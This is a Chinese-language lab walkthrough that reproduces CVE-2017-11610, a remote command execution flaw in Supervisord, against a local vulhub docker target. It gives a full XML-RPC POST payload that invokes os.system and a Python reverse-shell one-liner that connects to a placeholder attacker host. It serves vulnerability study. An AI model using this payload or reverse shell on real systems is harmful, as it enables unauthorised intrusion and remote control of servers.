一、漏洞描述
Supervisord是一款用Python语言开发的管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理。近期,Supervisord曝出了一个需认证的远程命令执行漏洞(CVE-2017-11610)。通过POST请求向Supervisord管理界面提交恶意数据,可以获取服务器操作权限,带来严重的安全风险。
影响版本
Supervisord 3.1.2 <= Version <= 3.3.2
二、漏洞环境搭建
需要准备的工具如下:
1.docker+vulhub漏洞库
2.kali虚拟机
3.靶机Ubuntu18.04虚拟机(其他也可以)
4.Burpsuite
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610#
执行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d
等环境搭建完成后,可以访问 http://your-ip:9001
出现如下页面证明搭建成功!
三、漏洞利用
访问http://your-ip:9001
,然后用Burpsuite代理工具抓包,将抓到的主页包放到Repeater里,直接将payload放入数据包中重放即可复现成功!
payload如下:
将payload中的IP换成自己的即可
POST /RPC2 HTTP/1.1
Host: 192.168.124.129:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
可以看到返回200,进入docker容器查看是否创建成功docker exec -it 容器ID /bin/bash
成功创建
反弹shell,将payload中的命令替换为如下命令即可反弹shell,这里使用kali虚拟机来反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip‘,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"
反弹成功
四、关闭docker环境
docker-compose down